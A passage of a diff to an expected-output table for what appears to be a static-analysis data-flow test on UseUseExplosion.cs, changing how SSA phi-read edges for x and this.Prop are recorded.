-| UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1892:24:1892 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1903:24:1908 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1903:24:1908 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1907:24:1907 | access to local variable x | UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1907:24:1907 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1918:24:1923 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1918:24:1923 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1922:24:1922 | access to local variable x | UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1922:24:1922 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1933:24:1938 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1933:24:1938 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1937:24:1937 | access to local variable x | UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1937:24:1937 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1948:24:1953 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1948:24:1953 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1952:24:1952 | access to local variable x | UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1952:24:1952 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1963:24:1968 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1963:24:1968 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1967:24:1967 | access to local variable x | UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1967:24:1967 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1978:24:1983 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1978:24:1983 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1982:24:1982 | access to local variable x | UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1982:24:1982 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1993:24:1998 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1993:24:1998 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1997:24:1997 | access to local variable x | UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1997:24:1997 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2008:24:2013 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2008:24:2013 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2012:24:2012 | access to local variable x | UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2012:24:2012 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2023:24:2028 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2023:24:2028 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2027:24:2027 | access to local variable x | UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2027:24:2027 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2038:24:2043 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2038:24:2043 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2042:24:2042 | access to local variable x | UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2042:24:2042 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2053:24:2058 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2053:24:2058 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2057:24:2057 | access to local variable x | UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2057:24:2057 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2068:24:2073 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2068:24:2073 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2072:24:2072 | access to local variable x | UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2072:24:2072 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2083:24:2088 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2083:24:2088 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2087:24:2087 | access to local variable x | UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2087:24:2087 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2098:24:2103 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2098:24:2103 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2102:24:2102 | access to local variable x | UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2102:24:2102 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2113:24:2118 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2113:24:2118 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2117:24:2117 | access to local variable x | UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2117:24:2117 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2128:24:2133 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2128:24:2133 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2132:24:2132 | access to local variable x | UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2132:24:2132 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2143:24:2148 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2143:24:2148 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2147:24:2147 | access to local variable x | UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2147:24:2147 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2158:24:2163 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2158:24:2163 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2162:24:2162 | access to local variable x | UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2162:24:2162 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2173:24:2178 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2173:24:2178 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2177:24:2177 | access to local variable x | UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2177:24:2177 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2188:24:2193 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2188:24:2193 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2192:24:2192 | access to local variable x | UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2192:24:2192 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2203:24:2208 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2203:24:2208 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2207:24:2207 | access to local variable x | UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2207:24:2207 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2218:24:2223 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2218:24:2223 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2222:24:2222 | access to local variable x | UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2222:24:2222 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2233:24:2238 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2233:24:2238 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2237:24:2237 | access to local variable x | UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2237:24:2237 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2248:24:2253 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2248:24:2253 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2252:24:2252 | access to local variable x | UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2252:24:2252 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2263:24:2268 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2263:24:2268 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2267:24:2267 | access to local variable x | UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2267:24:2267 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2278:24:2283 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2278:24:2283 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2282:24:2282 | access to local variable x | UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2282:24:2282 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2293:24:2298 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2293:24:2298 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2297:24:2297 | access to local variable x | UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2297:24:2297 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2308:24:2313 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2308:24:2313 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2312:24:2312 | access to local variable x | UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2312:24:2312 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2323:24:2328 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2323:24:2328 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2327:24:2327 | access to local variable x | UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2338:24:2343 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2338:24:2343 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2327:24:2327 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2338:24:2343 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2338:24:2343 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2338:24:2343 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2342:24:2342 | access to local variable x | UseUseExplosion.cs:24:2338:24:2343 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2353:24:2358 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2353:24:2358 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2342:24:2342 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2353:24:2358 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2353:24:2358 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2353:24:2358 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2357:24:2357 | access to local variable x | UseUseExplosion.cs:24:2353:24:2358 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2368:24:2373 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2368:24:2373 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2357:24:2357 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2368:24:2373 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2368:24:2373 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2368:24:2373 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2372:24:2372 | access to local variable x | UseUseExplosion.cs:24:2368:24:2373 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2383:24:2388 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2383:24:2388 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
